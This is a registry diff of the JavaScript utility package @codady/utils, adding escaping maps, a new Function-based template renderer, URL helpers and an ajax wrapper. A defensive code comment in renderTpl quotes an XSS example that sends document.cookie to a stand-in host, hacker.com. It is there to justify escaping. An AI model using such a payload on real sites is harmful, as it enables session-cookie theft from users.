@codady/utils 0.0.37 → 0.0.39

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (55) hide show
  1. package/CHANGELOG.md +35 -1
  2. package/dist/utils.cjs.js +651 -54
  3. package/dist/utils.cjs.min.js +3 -3
  4. package/dist/utils.esm.js +651 -54
  5. package/dist/utils.esm.min.js +3 -3
  6. package/dist/utils.umd.js +651 -54
  7. package/dist/utils.umd.min.js +3 -3
  8. package/dist.zip +0 -0
  9. package/examples/ajax-get.html +59 -0
  10. package/examples/ajax-hook.html +55 -0
  11. package/examples/ajax-method.html +36 -0
  12. package/examples/ajax-post.html +37 -0
  13. package/examples/buildUrl.html +99 -0
  14. package/examples/escapeHTML.html +140 -0
  15. package/examples/getUrlHash.html +71 -0
  16. package/examples/renderTpl.html +272 -0
  17. package/modules.js +23 -3
  18. package/modules.ts +22 -3
  19. package/package.json +1 -1
  20. package/src/ajax.js +363 -0
  21. package/src/ajax.ts +450 -0
  22. package/src/buildUrl.js +64 -0
  23. package/src/buildUrl.ts +86 -0
  24. package/src/capitalize - /345/211/257/346/234/254.js" +19 -0
  25. package/src/capitalize.js +19 -0
  26. package/src/capitalize.ts +20 -0
  27. package/src/cleanQueryString.js +19 -0
  28. package/src/cleanQueryString.ts +20 -0
  29. package/src/comma - /345/211/257/346/234/254.js" +2 -0
  30. package/src/escapeCharsMaps.js +73 -0
  31. package/src/escapeCharsMaps.ts +74 -0
  32. package/src/escapeHTML.js +23 -25
  33. package/src/escapeHTML.ts +29 -25
  34. package/src/escapeRegexMaps.js +19 -0
  35. package/src/escapeRegexMaps.ts +26 -0
  36. package/src/getBodyHTML.js +53 -0
  37. package/src/getBodyHTML.ts +61 -0
  38. package/src/getEl.js +1 -1
  39. package/src/getEl.ts +6 -5
  40. package/src/getEls.js +1 -1
  41. package/src/getEls.ts +5 -5
  42. package/src/getUrlHash.js +37 -0
  43. package/src/getUrlHash.ts +39 -0
  44. package/src/isEmpty.js +24 -23
  45. package/src/isEmpty.ts +26 -23
  46. package/src/renderTpl.js +37 -14
  47. package/src/renderTpl.ts +38 -18
  48. package/src/renderTpt.js +73 -0
  49. package/src/sliceStrEnd.js +63 -0
  50. package/src/sliceStrEnd.ts +60 -0
  51. package/src/toSingleLine.js +9 -0
  52. package/src/toSingleLine.ts +9 -0
  53. package/src/escapeHtmlChars - /345/211/257/346/234/254.js" +0 -28
  54. package/src/escapeHtmlChars.js +0 -28
  55. package/src/escapeHtmlChars.ts +0 -29
package/dist/utils.esm.js CHANGED
@@ -1,8 +1,8 @@
1
1
 
2
2
  /*!
3
- * @since Last modified: 2026-1-15 18:58:28
3
+ * @since Last modified: 2026-1-20 16:40:28
4
4
  * @name Utils for web front-end.
5
- * @version 0.0.36
5
+ * @version 0.0.38
6
6
  * @author AXUI development team <3217728223@qq.com>
7
7
  * @description This is a set of general-purpose JavaScript utility functions developed by the AXUI team. All functions are pure and do not involve CSS or other third-party libraries. They are suitable for any web front-end environment.
8
8
  * @see {@link https://www.axui.cn|Official website}
@@ -238,6 +238,102 @@ const wrapArrayMethods = ({ target, onBeforeMutate = () => { }, onAfterMutate =
238
238
  return methods;
239
239
  };
240
240
 
241
+ const escapeCharsMaps = {
242
+ //code或pre标签中代码高亮是使用basic
243
+ basic: {
244
+ '&': '&amp;',
245
+ '<': '&lt;',
246
+ '>': '&gt;',
247
+ },
248
+ //需要用在标签属性上attribute
249
+ attribute: {
250
+ '&': '&amp;',
251
+ '<': '&lt;',
252
+ '>': '&gt;',
253
+ '"': '&quot;',
254
+ "'": '&apos;',
255
+ '`': '&#x60;',
256
+ },
257
+ //html中的正文内容使用content
258
+ content: {
259
+ '&': '&amp;',
260
+ '<': '&lt;',
261
+ '>': '&gt;',
262
+ '"': '&quot;',
263
+ "'": '&apos;',
264
+ '/': '&#x2F;',
265
+ },
266
+ //用于url链接则使用uri
267
+ uri: {
268
+ '&': '&amp;',
269
+ '<': '&lt;',
270
+ '>': '&gt;',
271
+ '"': '&quot;',
272
+ "'": '&apos;',
273
+ '(': '&#40;',
274
+ ')': '&#41;',
275
+ '[': '&#91;',
276
+ ']': '&#93;',
277
+ },
278
+ //极致转意,避免任何注入或非法代码
279
+ paranoid: {
280
+ '&': '&amp;',
281
+ '<': '&lt;',
282
+ '>': '&gt;',
283
+ '"': '&quot;',
284
+ "'": '&apos;',
285
+ '`': '&#x60;',
286
+ '/': '&#x2F;',
287
+ '=': '&#x3D;',
288
+ '!': '&#x21;',
289
+ '#': '&#x23;',
290
+ '(': '&#40;',
291
+ ')': '&#41;',
292
+ '[': '&#91;',
293
+ ']': '&#93;',
294
+ '{': '&#x7B;',
295
+ '}': '&#x7D;',
296
+ ':': '&#x3A;',
297
+ ';': '&#x3B;',
298
+ },
299
+ };
300
+
301
+ const escapeRegexMaps = (Object.keys(escapeCharsMaps)).reduce((acc, key) => {
302
+ const chars = Object.keys(escapeCharsMaps[key]);
303
+ // Escape special regex characters to avoid issues in the regex. [ => \[
304
+ const escapedChars = chars.map((c) => c.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'));
305
+ acc[key] = new RegExp(`[${escapedChars.join('')}]`, 'g');
306
+ return acc;
307
+ }, {});
308
+
309
+ const escapeHTML = (str, strength = 'attribute') => {
310
+ // Return empty string if input is null, undefined, or not a string
311
+ if (typeof str !== 'string')
312
+ return '';
313
+ const map = escapeCharsMaps[strength], regex = escapeRegexMaps[strength];
314
+ // Use String.prototype.replace with a global regex.
315
+ // The callback function retrieves the replacement from the map using the matched character as key.
316
+ return str.replace(regex, (match) => map[match]);
317
+ };
318
+
319
+ const getUniqueId = (options = {}) => {
320
+ const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
321
+ // Current timestamp in milliseconds (since Unix epoch)
322
+ // This provides the primary uniqueness guarantee
323
+ const timestamp = Date.now(),
324
+ // Generate a base-36 random string (0-9, a-z)
325
+ // Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
326
+ // substring(2, 11) extracts 9 characters starting from index 2
327
+ //0.259854635->0.9crs03e8v2
328
+ base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '',
329
+ // Additional 4-digit random number for extra randomness
330
+ // This helps avoid collisions in high-frequency generation scenarios
331
+ base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
332
+ // Construct the final ID string
333
+ // Format: [prefix_]timestamp_randomBase36_extraRandom
334
+ return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
335
+ };
336
+
241
337
  const requireTypes = (data, require, cb) => {
242
338
  // Normalize the input types (convert to array if it's a single type)
243
339
  let requiredTypes = Array.isArray(require) ? require : [require], dataType = getDataType(data), typeLower = dataType.toLowerCase(),
@@ -265,22 +361,83 @@ const requireTypes = (data, require, cb) => {
265
361
  return dataType;
266
362
  };
267
363
 
268
- const getUniqueId = (options = {}) => {
269
- const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
270
- // Current timestamp in milliseconds (since Unix epoch)
271
- // This provides the primary uniqueness guarantee
272
- const timestamp = Date.now(),
273
- // Generate a base-36 random string (0-9, a-z)
274
- // Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
275
- // substring(2, 11) extracts 9 characters starting from index 2
276
- //0.259854635->0.9crs03e8v2
277
- base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '',
278
- // Additional 4-digit random number for extra randomness
279
- // This helps avoid collisions in high-frequency generation scenarios
280
- base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
281
- // Construct the final ID string
282
- // Format: [prefix_]timestamp_randomBase36_extraRandom
283
- return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
364
+ const toSingleLine = (str, collapseSpaces = false) => {
365
+ const result = str.replace(/[\r\t\n]/g, '');
366
+ return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
367
+ };
368
+
369
+ const renderTpl = (html, data, options = {}) => {
370
+ requireTypes(html, 'string', (error) => {
371
+ //不符合要求的类型
372
+ console.error(error);
373
+ return '';
374
+ });
375
+ if (!html.trim())
376
+ return '';
377
+ let dataType = requireTypes(data, ['array', 'object'], (error) => {
378
+ //不符合要求的类型
379
+ console.error(error);
380
+ return html;
381
+ });
382
+ //data={}/[]
383
+ if (Object.keys(data).length === 0) {
384
+ console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
385
+ return html;
386
+ }
387
+ let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options),
388
+ //regStart='\\{\\{'
389
+ regStart = opts.start.split('').map(k => '\\' + k).join(''),
390
+ //regEnd='\\}\\}'
391
+ regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '',
392
+ //代替escapeHTML的方法,在字符串内部的映射,确保不会重名
393
+ escapeName = `__esc__${getUniqueId()}`, add = (fragment, isScript) => {
394
+ if (isScript) {
395
+ //处理语句类(如 {{ if(x) /}} )
396
+ if (fragment.endsWith(opts.suffix)) {
397
+ code += (fragment.slice(0, -opts.suffix.length) + '\n');
398
+ }
399
+ else {
400
+ //处理表达式类(如 {{ name }} )
401
+ //需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
402
+ //虽然new Function不会执行,但是也需要将其当做纯文本输出,避免renderTpl输出的文本自带风险,此时则需要转意,确保renderTpl的返回值是安全的纯文本
403
+ code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
404
+ }
405
+ }
406
+ else {
407
+ //fragment可能自带单引号或双引号,需要转意,避免与push("xxx")语句冲突
408
+ //js语句不能直接文本换行,所以也需要转意换行符
409
+ //换行转意的另外一个意义是,保持原文本的换行,因为在toSingleLine中会删除所有物理换行以确保代码可被执行
410
+ code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
411
+ }
412
+ return add;
413
+ };
414
+ while (match = tplReg.exec(html)) {
415
+ add(html.slice(cursor, match.index))(match[1], true);
416
+ cursor = match.index + match[0].length;
417
+ }
418
+ add(html.slice(cursor));
419
+ code += `return str.join('');`;
420
+ //一行行化代码
421
+ //如果文本"XXX (换行)",js执行会报错,所以需要清理换行
422
+ code = toSingleLine(code);
423
+ try {
424
+ if (opts.strict || dataType === 'Array') {
425
+ //严格模式,或者是数组数据,则必须使用this
426
+ result = new Function(escapeName, code).apply(data, [escapeHTML]);
427
+ }
428
+ else {
429
+ ////非严格模式,且是对象,则可省略this
430
+ let keys = Object.keys(data), values = Object.values(data),
431
+ //keys传参,可直接以key为值,this依然可指向data
432
+ tmp = new Function(...keys, escapeName, code).bind(data);
433
+ //执行时以value赋值
434
+ result = tmp(...values, escapeHTML);
435
+ }
436
+ }
437
+ catch (err) {
438
+ console.error(`'${err.message}'`, ' in \n', code, '\n');
439
+ }
440
+ return result;
284
441
  };
285
442
 
286
443
  const setMutableMethods = ['add', 'delete', 'clear'];
@@ -784,30 +941,31 @@ const isEmpty = (data) => {
784
941
  let type = getDataType(data), flag;
785
942
  if (!data) {
786
943
  //0,'',false,undefined,null
787
- flag = true;
944
+ return true;
788
945
  }
789
- else {
790
- //function(){}|()=>{}
791
- //[null]|[undefined]|['']|[""]
792
- //[]|{}
793
- //Symbol()|Symbol.for()
794
- //Set,Map
795
- //Date/Regex
796
- flag = (type === 'Object') ? (Object.keys(data).length === 0) :
797
- (type === 'Array') ? data.join('') === '' :
798
- (type === 'Function') ? (data.toString().replace(/\s+/g, '').match(/{.*}/g)[0] === '{}') :
799
- (type === 'Symbol') ? (data.toString().replace(/\s+/g, '').match(/\(.*\)/g)[0] === '()') :
800
- (type === 'Set' || type === 'Map') ? data.size === 0 :
801
- type === 'Date' ? isNaN(data.getTime()) :
802
- type === 'RegExp' ? data.source === '' :
803
- type === 'ArrayBuffer' ? data.byteLength === 0 :
804
- (type === 'NodeList' || type === 'HTMLCollection') ? data.length === 0 :
805
- ('length' in data && typeof data.length === 'number') ? data.length === 0 :
806
- ('size' in data && typeof data.size === 'number') ? data.size === 0 :
807
- (type === 'Error' || data instanceof Error) ? data.message === '' :
808
- (type.includes('Array') && (['Uint8Array', 'Int8Array', 'Uint16Array', 'Int16Array', 'Uint32Array', 'Int32Array', 'Float32Array', 'Float64Array'].includes(type))) ? data.length === 0 :
809
- false;
946
+ if (['String', 'Number', 'Boolean'].includes(type)) {
947
+ return false;
810
948
  }
949
+ //function(){}|()=>{}
950
+ //[null]|[undefined]|['']|[""]
951
+ //[]|{}
952
+ //Symbol()|Symbol.for()
953
+ //Set,Map
954
+ //Date/Regex
955
+ flag = (type === 'Object') ? (Object.keys(data).length === 0) :
956
+ (type === 'Array') ? data.join('') === '' :
957
+ (type === 'Function') ? (data.toString().replace(/\s+/g, '').match(/{.*}/g)[0] === '{}') :
958
+ (type === 'Symbol') ? (data.toString().replace(/\s+/g, '').match(/\(.*\)/g)[0] === '()') :
959
+ (type === 'Set' || type === 'Map') ? data.size === 0 :
960
+ type === 'Date' ? isNaN(data.getTime()) :
961
+ type === 'RegExp' ? data.source === '' :
962
+ type === 'ArrayBuffer' ? data.byteLength === 0 :
963
+ (type === 'NodeList' || type === 'HTMLCollection') ? data.length === 0 :
964
+ ('length' in data && typeof data.length === 'number') ? data.length === 0 :
965
+ ('size' in data && typeof data.size === 'number') ? data.size === 0 :
966
+ (type === 'Error' || data instanceof Error) ? data.message === '' :
967
+ (type.includes('Array') && (['Uint8Array', 'Int8Array', 'Uint16Array', 'Int16Array', 'Uint32Array', 'Int32Array', 'Float32Array', 'Float64Array'].includes(type))) ? data.length === 0 :
968
+ false;
811
969
  return flag;
812
970
  };
813
971
 
@@ -1171,19 +1329,6 @@ const trimEmptyLines = (str) => {
1171
1329
  return str.replace(/^\s*\n|\n\s*$/g, '') || '';
1172
1330
  };
1173
1331
 
1174
- const escapeHtmlChars = (text) => {
1175
- // Check if the input text is empty or undefined
1176
- if (!text)
1177
- return '';
1178
- // Replace the special characters with their corresponding HTML entities
1179
- return text
1180
- .replace(/&/g, '&amp;') // Replace '&' with '&amp;'
1181
- .replace(/</g, '&lt;') // Replace '<' with '&lt;'
1182
- .replace(/>/g, '&gt;') // Replace '>' with '&gt;'
1183
- .replace(/"/g, '&quot;') // Replace '"' with '&quot;'
1184
- .replace(/'/g, '&#39;'); // Replace "'" with '&#39;'
1185
- };
1186
-
1187
1332
  const decodeHtmlEntities = (text) => {
1188
1333
  // Check if the input text is empty or undefined
1189
1334
  if (!text)
@@ -1194,6 +1339,448 @@ const decodeHtmlEntities = (text) => {
1194
1339
  return textArea.value; // Get the decoded string from the text area
1195
1340
  };
1196
1341
 
1342
+ const getBodyHTML = (htmlText, selector) => {
1343
+ // Return early if the input is not a valid string or doesn't look like HTML
1344
+ if (!htmlText || typeof htmlText !== 'string') {
1345
+ return '';
1346
+ }
1347
+ try {
1348
+
1349
+ const parser = new DOMParser(),
1350
+
1351
+ doc = parser.parseFromString(htmlText, 'text/html'),
1352
+
1353
+ bodyContent = doc.body.innerHTML;
1354
+ if (selector) {
1355
+ // Normalize hash: ensure it's a valid ID selector
1356
+ const targetEl = doc.querySelector(selector);
1357
+ if (targetEl) {
1358
+ return targetEl.innerHTML;
1359
+ }
1360
+ // If hash is provided but element not found, we fallback to body or warn
1361
+ console.warn(`Element with selector "${selector}" not found in the HTML.`);
1362
+ }
1363
+ return bodyContent ? bodyContent.trim() : htmlText;
1364
+ }
1365
+ catch (error) {
1366
+
1367
+ console.error("Failed to parse HTML content using DOMParser:", error);
1368
+ return htmlText;
1369
+ }
1370
+ };
1371
+
1372
+ const getUrlHash = (url) => {
1373
+ // Return empty if input is null, undefined, or not a string
1374
+ if (!url || typeof url !== 'string') {
1375
+ return '';
1376
+ }
1377
+ try {
1378
+
1379
+ const baseUrl = window?.location?.origin || 'https://www.axui.cn', urlObj = new URL(url, baseUrl);
1380
+ return urlObj.hash;
1381
+ }
1382
+ catch (error) {
1383
+
1384
+ return '';
1385
+ }
1386
+ };
1387
+
1388
+ const cleanQueryString = (data) => {
1389
+ return typeof data === 'string' && (data.startsWith('?') || data.startsWith('&'))
1390
+ ? data.slice(1) // Remove the leading '?' or '&'
1391
+ : data; // Return the string as-is if no leading character is present
1392
+ };
1393
+
1394
+ const buildUrl = ({ url, data, cacheBustKey = '_t', appendCacheBust = true }) => {
1395
+ // 1. Extract and remove the hash (e.g., /page#section -> hash="#section")
1396
+ const hashIndex = url.indexOf('#');
1397
+ let hash = '', pureUrl = url;
1398
+ // If a hash exists, separate it from the base URL
1399
+ if (hashIndex !== -1) {
1400
+ hash = url.slice(hashIndex);
1401
+ pureUrl = url.slice(0, hashIndex);
1402
+ }
1403
+ // 2. Use the URL object to handle the base URL and existing query parameters.
1404
+ // `window.location.origin` ensures the support for relative paths (e.g., '/api/list').
1405
+ const urlObj = new URL(pureUrl, window.location.origin);
1406
+ // 3. Append business data (query parameters) to the URL if data is not empty
1407
+ if (!isEmpty(data)) {
1408
+ let params, dataType = getDataType(data);
1409
+ // If the data is a URLSearchParams object, directly use it
1410
+ if (dataType === 'URLSearchParams') {
1411
+ params = data;
1412
+ }
1413
+ else if (dataType === 'object') {
1414
+ // If the data is an object, convert it to URLSearchParams
1415
+ params = new URLSearchParams(data);
1416
+ }
1417
+ else {
1418
+ // If the data is a string, clean it up (remove leading '?' or '&')
1419
+ params = new URLSearchParams(cleanQueryString(data));
1420
+ }
1421
+ // Append new parameters to the existing URL search parameters
1422
+ params.forEach((value, key) => {
1423
+ urlObj.searchParams.append(key, value);
1424
+ });
1425
+ }
1426
+ // 4. Optionally add the cache-busting parameter if the flag is set
1427
+ appendCacheBust && cacheBustKey && urlObj.searchParams.set(cacheBustKey, Date.now().toString());
1428
+ // 5. Return the final URL: base URL + query parameters + original hash (if any)
1429
+ return urlObj.toString() + hash;
1430
+ };
1431
+
1432
+ const capitalize = (str) => {
1433
+ // Check if the input string is empty or undefined
1434
+ if (!str)
1435
+ return str;
1436
+ // Capitalize the first letter and return the new string
1437
+ return str.charAt(0).toUpperCase() + str.slice(1);
1438
+ };
1439
+
1440
+ const ajax = (options) => {
1441
+ // Validation
1442
+ if (isEmpty(options)) {
1443
+ return Promise.reject(new Error('Options are required'));
1444
+ }
1445
+ if (!options.url || typeof options.url !== 'string') {
1446
+ return Promise.reject(new Error('URL is required and must be a string'));
1447
+ }
1448
+ // Default configuration
1449
+ const config = {
1450
+ url: '',
1451
+ method: 'POST',
1452
+ async: true,
1453
+ selector: '',
1454
+ data: null,
1455
+ timeout: 3600000,
1456
+ headers: {},
1457
+ responseType: '',
1458
+ catchError: false,
1459
+ signal: null,
1460
+ xhrFields: {},
1461
+ cacheBustKey: '_t',
1462
+ //
1463
+ onAbort: null,
1464
+ onTimeout: null,
1465
+ //
1466
+ onBeforeSend: null,
1467
+ //
1468
+ onCreated: null,
1469
+ onOpened: null,
1470
+ onHeadersReceived: null,
1471
+ onLoading: null,
1472
+ //
1473
+ onSuccess: null,
1474
+ onFailure: null,
1475
+ onInformation: null,
1476
+ onRedirection: null,
1477
+ onClientError: null,
1478
+ onServerError: null,
1479
+ onUnknownError: null,
1480
+ onError: null,
1481
+ onFinish: null,
1482
+ //
1483
+ onDownload: null,
1484
+ onUpload: null,
1485
+ onComplete: null,
1486
+ };
1487
+ //合并参数
1488
+ Object.assign(config, options);
1489
+ //
1490
+ const method = config.method.toUpperCase() || 'POST', methodsWithoutBody = ['GET', 'HEAD', 'TRACE'];
1491
+ //创建XMLHttpRequest
1492
+ let xhr = new XMLHttpRequest(),
1493
+ //设置发送数据和预设请求头
1494
+ requestData = null, headerContentType = config?.headers?.['Content-Type'] || config?.headers?.['content-type'], removeHeader = () => {
1495
+ if (headerContentType) {
1496
+ delete config.headers['Content-Type'];
1497
+ delete config.headers['content-type'];
1498
+ }
1499
+ };
1500
+ if (!isEmpty(config.data)) {
1501
+ let dataType = getDataType(config.data);
1502
+ if (dataType === 'FormData') {
1503
+ //如果是new FormData格式,直接相等
1504
+ requestData = config.data;
1505
+ // 不需要手动设置Content-Type,浏览器会自动设置
1506
+ //config.contType = 'multipart/form-data';
1507
+ removeHeader();
1508
+ }
1509
+ else if (dataType === 'Object') {
1510
+ //如果是对象格式{name:'',age:''}
1511
+ //并且此时已经设置了contType
1512
+ if (!headerContentType) {
1513
+ //如果未设置则默认设为如下contType
1514
+ //Content-Type=application/x-www-form-urlencoded
1515
+
1516
+ requestData = new URLSearchParams(config.data).toString();
1517
+ //URLSearchParams.toString => `a=1&b=3`
1518
+ //非get、head方法修正content-type
1519
+ if (!methodsWithoutBody.includes(method)) {
1520
+ config.headers['Content-Type'] = 'application/x-www-form-urlencoded';
1521
+ }
1522
+ }
1523
+ else if (headerContentType?.includes('application/json')) {
1524
+ //Content-Type=application/json或contentType=application/json
1525
+ requestData = JSON.stringify(config.data);
1526
+ }
1527
+ else {
1528
+ requestData = config.data;
1529
+ }
1530
+ }
1531
+ else if (dataType === 'String') {
1532
+ //未设置或,已经设置了Content-Type=application/x-www-form-urlencoded
1533
+ if (!headerContentType || headerContentType.includes('urlencoded')) {
1534
+ //如果是name=''&age=''字符串
1535
+ //?name=''&age=''或&name=''&age=''统一去掉第一个&/?
1536
+ requestData = cleanQueryString(config.data.trim());
1537
+ //非get、head方法修正content-type
1538
+ if (!methodsWithoutBody.includes(method) && !headerContentType) {
1539
+ config.headers['Content-Type'] = 'application/x-www-form-urlencoded';
1540
+ }
1541
+ }
1542
+ else {
1543
+ requestData = config.data;
1544
+ }
1545
+ }
1546
+ else {
1547
+ requestData = config.data;
1548
+ }
1549
+ }
1550
+ //设置超时时间
1551
+ xhr.timeout = config.timeout;
1552
+ // 响应类型
1553
+ if (config.responseType) {
1554
+ xhr.responseType = config.responseType;
1555
+ }
1556
+ //返回promise
1557
+ const result = new Promise((resolve, reject) => {
1558
+ //超时监听
1559
+ const timeoutHandler = () => {
1560
+ cleanup();
1561
+ let resp = { ...context, status: xhr.status, content: xhr.response, type: 'timeout' };
1562
+ //回调,status和content在此确认
1563
+ config?.onTimeout?.(resp);
1564
+ //reject只能接受一个参数
1565
+ config.catchError ? reject(resp) : resolve(resp);
1566
+ },
1567
+ //报错监听
1568
+ errorHandler = (resp) => {
1569
+ //这几个错误来自xhr.onreadystatechange
1570
+ if (resp.type === 'client-error') {
1571
+ config?.onClientError?.({ ...context });
1572
+ }
1573
+ else if (resp.type === 'server-error') {
1574
+ config?.onServerError?.({ ...context });
1575
+ }
1576
+ else if (resp.type === 'unknown-error') {
1577
+ config?.onUnknownError?.({ ...context });
1578
+ }
1579
+ //此外还会有xhr.onerror的错误,所以需要统一使用onError监听
1580
+ config?.onError?.(resp);
1581
+ //reject只能接受一个参数
1582
+ config.catchError ? reject(resp) : resolve(resp);
1583
+ },
1584
+ //取消监听
1585
+ abortHandler = () => {
1586
+ cleanup();
1587
+ const resp = { ...context, status: xhr.status, type: 'abort' };
1588
+ config.catchError ? reject(resp) : resolve(resp);
1589
+ //回调,status和content在此确认
1590
+ config?.onAbort?.(resp);
1591
+ }, abortHandlerWithSignal = () => {
1592
+ //先中止请求,防止触发其他 readystate 事件
1593
+ xhr.abort();
1594
+ abortHandler();
1595
+ },
1596
+ //成功监听
1597
+ successHandler = (resp) => {
1598
+ //成功回调
1599
+ config?.onSuccess?.(resp);
1600
+ //resolve只能接受一个参数
1601
+ resolve(resp);
1602
+ },
1603
+ //统一处理abort
1604
+ cleanup = () => {
1605
+ // 如果使用了AbortSignal,则移除它的事件监听器
1606
+ config.signal && config.signal.removeEventListener('abort', abortHandlerWithSignal);
1607
+ // 移除各类事件监听器
1608
+ config.onError && xhr.removeEventListener('error', errorHandler);
1609
+ config.onTimeout && xhr.removeEventListener('timeout', timeoutHandler);
1610
+ // 解绑上传/下载进度事件
1611
+ config.onUpload && xhr.upload.removeEventListener('progress', uploadProgressHandler);
1612
+ config.onDownload && xhr.removeEventListener('progress', downloadProgressHandler);
1613
+ //销毁
1614
+ xhr.onreadystatechange = null;
1615
+ },
1616
+ // Context object to track state
1617
+ context = {
1618
+ //原始xhr
1619
+ xhr,
1620
+ //发送的数据
1621
+ data: requestData,
1622
+ //可取消的函数
1623
+ abort: abortHandler,
1624
+ //xhr.status
1625
+ status: '',
1626
+ //响应的内容
1627
+ content: null,
1628
+ //0~4阶段编号
1629
+ stage: 0,
1630
+ //阶段名称
1631
+ type: 'unset',
1632
+ //上传和下载进度
1633
+ progress: {}
1634
+ },
1635
+ //定义进度函数
1636
+ progressHandler = (name, data, callback) => {
1637
+ if (data.lengthComputable) {
1638
+ const resp = { ...context, status: xhr.status }, ratio = data.loaded / data.total;
1639
+ resp.progress = {
1640
+ name,
1641
+ loaded: data.loaded,
1642
+ total: data.total,
1643
+ timestamp: (new Date(data.timeStamp)).getTime(),
1644
+ ratio,
1645
+ percent: Math.round(ratio * 100),
1646
+ };
1647
+ callback?.(resp);
1648
+ //到达100%执行complete
1649
+ if (resp.progress.percent >= 100) {
1650
+ resp.progress.percent = 100;
1651
+ config?.onComplete?.(resp);
1652
+ }
1653
+ }
1654
+ }, uploadProgressHandler = (data) => {
1655
+ progressHandler('upload', data, (resp) => config.onUpload(resp));
1656
+ }, downloadProgressHandler = (data) => {
1657
+ progressHandler('download', data, (resp) => config.onDownload(resp));
1658
+ };
1659
+ //使用AbortSignal
1660
+ if (config.signal) {
1661
+ if (config.signal.aborted)
1662
+ return abortHandlerWithSignal();
1663
+ config.signal.addEventListener('abort', abortHandlerWithSignal);
1664
+ }
1665
+ //监听上传进度
1666
+ config.onUpload && xhr.upload.addEventListener('progress', uploadProgressHandler);
1667
+ //监听下载进度
1668
+ config.onDownload && xhr.addEventListener('progress', downloadProgressHandler);
1669
+ // 事件监听器
1670
+ config.onError && xhr.addEventListener('error', errorHandler);
1671
+ config.onTimeout && xhr.addEventListener('timeout', timeoutHandler);
1672
+ config.onAbort && xhr.addEventListener('abort', abortHandler);
1673
+ // 手动触发 Created 状态
1674
+ config.onCreated?.({ ...context, type: 'created' });
1675
+ //状态判断
1676
+ xhr.onreadystatechange = function () {
1677
+ context.stage = xhr.readyState;
1678
+ context.status = xhr.status;
1679
+ const statusMap = { 1: 'opened', 2: 'headersReceived', 3: 'loading' };
1680
+ //0=created放在外侧确保能触发,如果放在.onreadystatechange可能触发不了
1681
+ if (xhr.readyState < 4) {
1682
+ if (!xhr.readyState)
1683
+ return;
1684
+ context.type = statusMap[xhr.readyState];
1685
+ config[`on${capitalize(context.type)}`]?.({ ...context });
1686
+ return;
1687
+ }
1688
+ //已经请求成功,不会有timeout事件,也不需要abort了,所以移除abort事件
1689
+ cleanup();
1690
+ const isInformation = xhr.status >= 100 && xhr.status < 200, isSuccess = (xhr.status >= 200 && xhr.status < 300) || xhr.status === 304, isRedirection = xhr.status >= 300 && xhr.status < 400, isClientError = xhr.status >= 400 && xhr.status < 500, isServerError = xhr.status >= 500 && xhr.status < 600;
1691
+ //已经获得返回数据
1692
+ if (isSuccess) {
1693
+ if (!config.responseType || xhr.responseType === 'text') {
1694
+ //可能返回字符串类型的对象,wordpress的REST API
1695
+ let trim = xhr.responseText.trim(), content = '';
1696
+ if ((trim.startsWith('[') && trim.endsWith(']')) || (trim.startsWith('{') && trim.endsWith('}'))) {
1697
+ //通过判断开头字符是{或[来确定异步页面是否是JSON内容,如果是则转成JSON对象
1698
+ try {
1699
+ content = JSON.parse(trim);
1700
+ }
1701
+ catch {
1702
+ console.warn('Malformed JSON detected, falling back to text.');
1703
+ content = xhr.responseText;
1704
+ }
1705
+ }
1706
+ else if (/(<\/html>|<\/body>)/i.test(trim)) {
1707
+ //请求了一个HTML页面
1708
+ //返回文本类型DOMstring
1709
+ let urlHash = getUrlHash(config.url);
1710
+ content = getBodyHTML(trim, config.selector || urlHash);
1711
+ }
1712
+ else {
1713
+ //普通文本,不做任何处理
1714
+ content = xhr.responseText;
1715
+ }
1716
+ //content=文本字符串/json
1717
+ context.content = content;
1718
+ }
1719
+ else {
1720
+ //content=json、blob、document、arraybuffer等类型,如果知道服务器返回的XML, xhr.responseType应该为document
1721
+ context.content = xhr.response;
1722
+ }
1723
+ context.type = 'success';
1724
+ successHandler({ ...context });
1725
+ }
1726
+ else {
1727
+ //失败回调
1728
+ context.content = xhr.response;
1729
+ context.type = isInformation ? 'infomation' : isRedirection ? 'redirection' : isClientError ? 'client-error' : isServerError ? 'server-error' : 'unknown-error';
1730
+ //
1731
+ if (isInformation) {
1732
+ config?.onInformation?.({ ...context });
1733
+ }
1734
+ else if (isRedirection) {
1735
+ config?.onRedirection?.({ ...context });
1736
+ }
1737
+ else {
1738
+ errorHandler({ ...context });
1739
+ }
1740
+ //
1741
+ config?.onFailure?.({ ...context });
1742
+ }
1743
+ config?.onFinish?.({ ...context });
1744
+ };
1745
+ //发送异步请求
1746
+ let openParams = [method, config.url, config.async];
1747
+ if (methodsWithoutBody.includes(method)) {
1748
+ // 拼接url => xxx.com?a=0&b=1#hello
1749
+ const url = buildUrl({
1750
+ url: config.url,
1751
+ data: requestData,
1752
+ cacheBustKey: config.cacheBustKey,
1753
+ appendCacheBust: true,
1754
+ });
1755
+ openParams = [method, url, config.async];
1756
+ }
1757
+ //设置xhr其他字段
1758
